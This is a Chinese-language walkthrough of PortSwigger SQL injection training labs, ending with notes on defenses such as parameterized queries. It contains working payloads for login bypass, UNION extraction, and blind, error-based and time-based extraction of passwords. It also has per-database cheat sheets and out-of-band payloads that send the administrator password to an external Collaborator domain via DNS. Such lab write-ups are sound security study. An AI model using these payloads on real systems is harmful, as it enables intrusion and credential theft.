本文讲了Burpsuite实验室中和SQL注入有关的18个实验的思路以及SQL注入的防御方法
实验
Lab1:检索隐藏数据
当检索参数category时,后台查询语句为:
1 | SELECT * FROM products WHERE category = 'Gifts' AND released = 1 |
随便打开一个类别,看到地址栏的参数,猜测为注入点,如果参数为空,则默认为Gifts
那我们这里的目的就是要进行查询,使其显示所有种类的商品,这里面就包括我们隐藏的商品。后台查询语句中的 released = 1
就是隐藏未发布商品的意思,我们需要给这里的参数赋值,使得整个语句为真,进而显示出所有商品。
根据后台查询语句,进行测试
1 | 1' |
or后面的条件 1=1
恒为真,所以无论前面是什么,是否存在,最后都恒为true,都返回全部商品
那为什么 1' and 1=1 --
不行呢,因为这里的1不存在,所以返回为空,如果是Lifestyle' and 1=1 --
,则会返回所有Lifestyle种类的商品
可以理解为and 1=1
,始终为真,所以返回会返回and前面查询的结果
Lab2:干扰应用程序逻辑
一开始提示需要用administrator
账户进行登录,打开实验发现是个登录框,需要我们输入用户名和密码
这里存在administrator
这个账户,但是我们不知道密码
题目提示我们后台的查询语句是这样的
1 | SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese' |
那当我们输入的用户名加了注释符之后,把后面的密码部分给注释了,这时我们就不输入密码也可以登录了
1 | administrator'-- |
Lab3:查询Oracle数据库中的信息
union select联合查询&v$version
提示:在 Oracle 数据库上,每个 SELECT 语句都必须指定要选择 FROM 的表(必须是存在的)。如果您的 UNION SELECT 攻击不从表中查询,您仍然需要包含 FROM 关键字,后跟有效的表名称。
Oracle 上有一个名为 Dual 的内置表,您可以使用它来实现此目的。例如:
UNION SELECT 'abc' FROM Dual
我们可以看到是Oracle数据库
进行测试:
1 | ' order by 2--+ |
然后进行查询,union联合查询要求列数要相同,那这里对于多出来的,我们不需要为什么要用NULL值呢,因为NULL值可以与任何数据类型兼容,可以转换为任何数据类型,所以就可以用来判断列数。这里我们需要查找Oracle数据库的类型很版本信息。在Oracle数据库中,v$version
视图是一个系统视图,它包含了数据库的版本信息。v$version
视图只有一列,即BANNER
列。BANNER
列包含了数据库版本的说明信息,通常会显示数据库的版本号、数据库名称以及其他相关信息。
最终payload:
1 | ?category=' UNION SELECT BANNER, NULL FROM v$version-- |
扩展(各数据库查询版本语句):
Oracle | SELECT banner FROM v$version SELECT version FROM v$instance |
Microsoft | SELECT @@version |
PostgreSQL | SELECT version() |
MySQL | SELECT @@version |
Lab4:查询 MySQL 和 Microsoft数据库中的信息
按照上面的拓展,输入paylaod
1 | ?category=' UNION SELECT @@version, NULL --+ |
Lab5:列出非 Oracle 数据库的数据库内容
这一个实验是要检索出所有用户的用户名和密码,然后找到administrator用户的密码然后登录
用于列出数据库中存在的表以及表中的值
Oracle | SELECT * FROM all_tables SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE' |
Microsoft | SELECT * FROM information_schema.tables `` SELECT * FROM information_schema.columns WHERE table_name = ‘TABLE-NAME-HERE’ ` |
PostgreSQL | SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |
MySQL | SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |
测试 |
1 | ' order by 2-- |
然后登录
Lab6:检索 Oracle 数据库的数据库内容
这个实验的要求和上面的实验一样,只是这次是在Oracle数据库中
查询数据库信息
1 | ' UNION SELECT BANNER, NULL FROM v$version-- |
发现为Oracle数据库
查询所有表
1 | ' UNION SELECT table_name,NULL FROM all_tables-- |
查询user表中的字段
1 | ' UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name='USERS_ZZCVKH'-- |
查询字段的值
1 | ' UNION SELECT PASSWORD_HTRFEY,USERNAME_QTIRLI FROM USERS_ZZCVKH--+ |
查询到密码jtc61on6lx0544pmyxhu
,然后登录
Labs7:确定查询返回的列数
确定所需的列数
官方介绍了两种方法
第一种是通过 order by
查询
1 | ' order by 2-- |
第二种是通过union联合查询
1 | ' UNION SELECT NULL,NULL -- |
利用所得到的列数来查询一下数据库版本信息
1 | ' union select banner,null,null from v$version-- #报错 |
Labs8:查找到包含对应文本的列
查找具有有用数据类型的列
要求要我们检索到字符串wYabaS
1 | ' order by 3--+ |
列数有3列,然后开始查找拿个字段中存在对应的字符串,探测每一列以测试它是否可以容纳字符串数据。您可以提交一系列UNION SELECT
有效负载,将字符串值依次放入每列中。这里有3列,所以我们最多要输入3次
1 | ' UNION SELECT 'wYabaS',NULL ,NULL -- |
Labs9:从其他表中检索数据
从users表中检索到username和password,然后登录administrator用户
使用 SQL 注入 UNION 攻击检索感兴趣的数据
1 | ' order by 2-- |
Labs10:检索单个列中的多个值
在某些情况下,上一个实验中的查询可能仅返回单个列。
可以通过将值连接在一起来检索该单列中的多个值,可以包含分隔符来区分组合值。
这里的要求和上面一样,但是我们这次要用连接符和分隔符进行操作。
双管道序列||
,它是 Oracle 上的字符串连接运算符。这里的分隔符就用~
连接符拓展
Oracle | 'foo'|'bar' |
Microsoft | 'foo'+'bar' |
PostgreSQL | 'foo'|'bar' |
MySQL | 'foo' 'bar' [Note the space between the two strings] CONCAT('foo','bar') |
1 | ' order by 2-- |
Labs11:基于条件回显注入的盲注
条件和上个实验一样,但是不同的是没有了回显,是盲注,题目提示注入点为cookie
cookie盲注
cookie 标头:Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4
TrackingId
当处理 包含 cookie 的请求时,应用程序使用 SQL 查询来确定这是否是已知用户:
1 | SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' |
我们可以利用这里进行SQL注入,但是没有回显,不过还是可以一些特点进行判断
如果查询是正确的,页面会回显:”Welcome back”
比如:传参给cookie的TrackingId
1 | ' and 1=1-- #返回 |
即我们就可以根据回显,判断我们后面的条件是否正确,抓包进行测试
1 | #判断是否存在user表,使用 SELECT 'a' 是为了创建一个固定的查询结果,即字符串常量 'a'。而将条件 (SELECT 'a' FROM users LIMIT 1)='a' 用于比较查询结果是否等于 'a',如果条件成立(即返回值不为空,即存在user表)则返回为a,比较成功,返回为真 |
payload1:
payload2:
然后按顺序排列在一起muyu73xbiyxzrfbw88pd
,用密码登录
Labs12:基于条件报错注入的盲注
这题和上面不同的是,无论查询是否有结果都不会有不一样的回显。但是如果查询错误,会根据相应的错误报错。这题也是cookie头注入,burp示例里的报错方法,我之前都没有看到过,因为之前用的都是mysql的报错注入。
官方的示例是这样的:
1 | xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a |
这些输入使用CASE
关键字来测试条件并根据表达式是否为真返回不同的表达式:
- 对于第一个输入,
CASE
表达式的计算结果为'a'
,这不会导致任何错误。 - 对于第二个输入,其计算结果为
1/0
,这会导致被零除错误。
然后我们通过是否报错来判断我们的条件是否正确
一些其他数据库的条件报错的示例:
Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual |
Microsoft | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END |
PostgreSQL | 1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END) |
MySQL | SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a') |
这里我们就抓包,然后进行测试 |
1 | #判断数据库类型 |
这里如果不加 rownum=1
控制返回只有一行的话就会报错。子查询结果返回为多行或者为NULL时,字符串拼接就会报错,所以我们这里要控制他返回为一行。
1 | #判断是否存在administrator用户 |
判断密码的位数,如果密码符合我们的条件,则会执行1/0,就会报错,直到不符合条件时,执行else里的内容,正常回显,这里爆破一下,发现为20时正常回显,说明密码不大于20位,则代表密码为20位
1 | '||(select case when length(password)>2 then to_char(1/0) else '' end from users where username='administrator') ||' |
这里在 1/0
之前必须要加个 to_char
。不然就算超过20应该正常回显的时候也会报错
to_char(1/0)
将除以零的异常转换成了一个字符串'ORA-01476'
(在 Oracle 中除以零的错误码),这样就可以避免直接抛出异常,从而不会导致整个语句报错。
爆破密码,Oracle数据库使用substr
函数
1 | '||(select case when substr(password,1,1)='a' then to_char(1/0) else '' end from users where username='administrator') ||' |
和上一题一样开启爆破
密码为367bgwjiwvsxy3cm6hdl
Labs13:基于可见的错误消息提取数据
这种类型的题目呢就是返回的报错信息里会含有一些我们需要的数据,所以我们就根据返回的报错来获得数据。
Microsoft 微软 | SELECT 'foo' WHERE 1 = (SELECT 'secret') > Conversion failed when converting the varchar value 'secret' to data type int. |
PostgreSQL | SELECT CAST((SELECT password FROM users LIMIT 1) AS int) > invalid input syntax for integer: "secret" |
MySQL | SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret'))) > XPATH syntax error: '\secret' |
测试一下 |
1 | ' #报错 |
直接给出了后台查询的语句,以及提醒我们单引号没闭合
爆出用户名
1 | ' AND 1=CAST((SELECT username FROM users) AS int)-- |
这个语句正常来说会报错,这段sql语句会将一个 AND
逻辑运算符与一个条件表达式组合在一起,条件表达式使用子查询从 users
表中获取用户名,并将其作为整数类型进行转换。但是,由于用户名通常不是整数,因此转换将失败,并导致整个条件表达式的结果为 false
。
我们看到这里,他虽然报错了,但是报错的原因是在 SQL 查询中存在一个未终止的字符串字面量。这是由于引号没有闭合导致的,但是我们都注释了他怎么会没有闭合呢。我们看到报错信息里显示的语句都没有把我们输入的语句完整显示出来,代表这里我们输入的可能超出了他的限制,所以我们要把前面多余的没有用的语句删了。
但是又显示他的返回不止一行所以报错,我们之前说到在 Oracle 数据库中我们可以通过 rownum=1
来限制他的返回行数为1行
1 | ' AND 1=CAST((SELECT username FROM users) AS int and rownum=1)-- |
但是这里字符数超了,而且这里是PostgreSQL,所以我们要用limit 1
去限制
1 | ' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)-- |
爆出了用户名
查密码
1 | ' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)-- |
得到密码 tjl9qjggrlpfs7xjysff
Labs14:基于时间延迟的盲注
通过时间的相应快慢来判断条件是否正确,比如下面就是各种数据库延迟10秒的语句,这个实验的要求就是让我们延迟10秒钟
Oracle | dbms_pipe.receive_message(('a'),10) |
Microsoft | WAITFOR DELAY '0:0:10' |
PostgreSQL | SELECT pg_sleep(10) |
MySQL | SELECT SLEEP(10) |
然后就依次输入语句进行测试 |
1 | ' || SLEEP(10) -- #无延迟 |
Labs15:基于时间延迟的SQL注入
要求找到对应用户对应的密码进行登录
从敏感信息中获得数据
Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'|dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual |
Microsoft | IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' |
PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END |
MySQL | SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a') |
测试过程,判断数据库类型,有延迟,为PostgreSQL 数据库 |
1 | '||pg_sleep(10) -- |
或者用下面这个语句也可以判断,分号用于结束上一个select语句,然后来执行下一条语句
1 | ';select case when (1=1) then pg_sleep(10) else pg_sleep(0) end -- |
但是这里注意,由于分号在URL中具有特殊含义(作为参数的分隔符),所以需要对其进行编码,以确保URL的正确解析。
所以url编码一下为:
1 | '%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END-- |
判断administrator用户是否存在,有延迟,存在该用户
1 | '%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users-- |
判断密码长度,密码长度为20位
1 | '%3BSELECT+CASE+WHEN+LENGTH(password)>20+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users+WHERE username='administrator'-- |
爆破密码,我们爆破的时候可以把延迟时间设置的短一点,不然会很慢,我这里设置的是5s。PostgreSQL中的截取函数用substring()
1 | '%3BSELECT+CASE+WHEN+SUBSTRING(password,1,1)='a'+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END+FROM+users+WHERE username='administrator'-- |
我们将这个选项勾上,我们通过判断接受相应的计数多少来看他的延迟时间,时间越长他的计数相应的也会越多
爆破完成之后,选取计数高的20位开始排序
密码为kddfmbo2sbbrbf0jlkjm
Labs16:基于外带的SQL注入
这里的SQL查询是异步执行的,对应用程序的相应没有影响。所以我们这里就要用到DNS外带技术
Burp在Burp Collaborator
模块中,有很多DNS域名
各个数据库的触发条件
Oracle | (XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence:( (XXE) 漏洞触发 DNS 查找。该漏洞已被修补,但存在许多未修补的 Oracle 安装:)SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual |
The following technique works on fully patched Oracle installations, but requires elevated privileges:(以下技术适用于完全修补的 Oracle 安装,但需要提升的权限:)SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN') |
|
Microsoft | exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a' |
PostgreSQL | copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN' |
MySQL | The following techniques work on Windows only:(只能在windows上执行)LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a') SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a' |
这个实验要求我们进行一次DNS查找 | |
找到对应模块,copy一个,然后在对应地方进行替换 | |
payload为 |
1 | ' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://4mrnjhutgi7w2qvyzwpuapr5ewkn8fw4.oastify.com/"> %remote;]>'),'/l') FROM dual-- |
这个payload里也含有特殊字符如 <
, >
,所以同理我们也要对他进行编码
1 | '+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http://4mrnjhutgi7w2qvyzwpuapr5ewkn8fw4.oastify.com">+%25remote%3b]>'),'/l')+FROM+dual-- |
Labs17:带外数据渗出的SQL盲注
我们需要外带出密码进行登录
不同数据库的外带数据方法:
Oracle | SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'|(SELECT YOUR-QUERY-HERE)|'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual |
Microsoft | declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"') |
PostgreSQL | create OR replace function f() returns void as $$ declare c text; declare p text; begin SELECT into p (SELECT YOUR-QUERY-HERE); c := 'copy (SELECT '''') to program ''nslookup '|p|'.BURP-COLLABORATOR-SUBDOMAIN'''; execute c; END; $$ language plpgsql security definer; SELECT f(); |
MySQL | The following technique works on Windows only: SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a' |
payload为:
1 | '+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.0lmjidtpfe6s1muuysoq9lq1dsjj7hv6.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual-- |
密码为:6uh5z7ji1etozubhhlzk
Labs18:通过XML编码绕过过滤器的SQL注入
实验环境有WAF,我们需要通过绕过WAF来查询用户名和密码,成功查询后,查询结果将返回在页面上。
打开实验环境,先随便打开一个商品,然后查看他的库存,同时进行抓包
我们看到这里系统将检查库存特性以XML格式发送
这里我们试着将这里的id(1)替换成其他的,productId
之间的表示的是生产地序号,storeId
之间的表示库存量
首先我们来查找注入点,在storeId
之间分别改为 2
和 1+1
发现回显相同,都显示库存量为17,这里系统可以识别我们1+1
的逻辑,并为进行过滤,很有可能这里就是注入点
接下来我们测试一下查询语句
1 | 1 UNION SELECT NULL |
不允许查询,这里被绕过了
利用Hackvertor进行模糊查询绕过
在注入XML时,尝试使用XML实体混淆负载。一种方法是使用Hackvertor扩展(这个一个非常强大的插件)。只需突出显示您的输入,右键单击,然后选择:
Extensions > Hackvertor > Encode > dec_entities/hex_entities。
可以直接在 BApp store
下载
选择对应的部分,然后在插件里面选择 dec_entities/hex_entities
成功回显
然后我们就可以用union联合查询去查询密码了
1 | 1 UNION SELECT username || '~' || password FROM users |
密码为n81voangbdsgcbfqe0c8
SQL注入的防御
预编译,也叫做参数化查询,这也是最有效的一种防御方法。
预编译相当于是将数据与代码分离的方式,把传入的参数绑定为一个变量,用?
表示,攻击者无法改变SQL的结构,无论攻击者传入什么,都当作字符串处理,而不是处理为SQL关系区的一部分。
比如下面的语句很容易收到SQL注入攻击1
2
3String query = "SELECT * FROM products WHERE category = '"+ input + "'";
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(query);那我们修改下上面的语句变成
1
2
3PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");
statement.setString(1, input);
ResultSet resultSet = statement.executeQuery();使用正则表达式对输入进行过滤
使用最小权限原则,给用户以最小的权限,避免他们执行一些恶意操作